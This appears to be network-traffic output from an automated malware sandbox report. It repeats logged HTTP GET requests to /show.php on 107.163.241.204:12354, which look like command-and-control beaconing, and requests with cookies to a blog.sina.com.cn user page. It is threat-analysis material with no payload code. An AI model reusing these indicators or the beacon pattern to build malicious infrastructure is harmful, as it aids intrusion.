Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000002b.e0c71b39.6759af5b.ed128dce; U_TRS2=0000002b.e0ce1b39.6759af5b.2cb2af63
